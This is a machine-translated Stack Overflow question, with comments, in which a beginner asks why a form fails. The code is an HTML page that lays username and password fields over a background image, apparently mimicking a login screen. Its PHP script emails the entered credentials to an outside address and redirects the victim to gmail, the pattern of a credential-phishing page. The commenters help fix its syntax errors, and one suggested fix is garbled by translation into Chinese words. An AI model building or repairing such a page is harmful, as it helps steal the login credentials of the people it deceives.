【发布时间】:2016-07-28 11:29:58
【问题描述】:
我是初学者,我正在给自己分配任务。我构建了一个 HTML 页面,在其中添加了一个表单。它看起来像这样:
<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">
<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22> </a></div>
</form>
还有php文件'send.php':
<?php
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>
在我的 HTML 上按下提交按钮时出现错误。
【问题讨论】:
-
请在您的问题中包含错误。
-
使用这个:$message = $username。 “”。 $密码;使用适当的编辑器来注意这些事情,即使在 SO 中你也可以注意到这一点
-
$message末尾缺少一个引号或一个额外的引号 -
我只是不明白,伙计们..
标签: php html-helper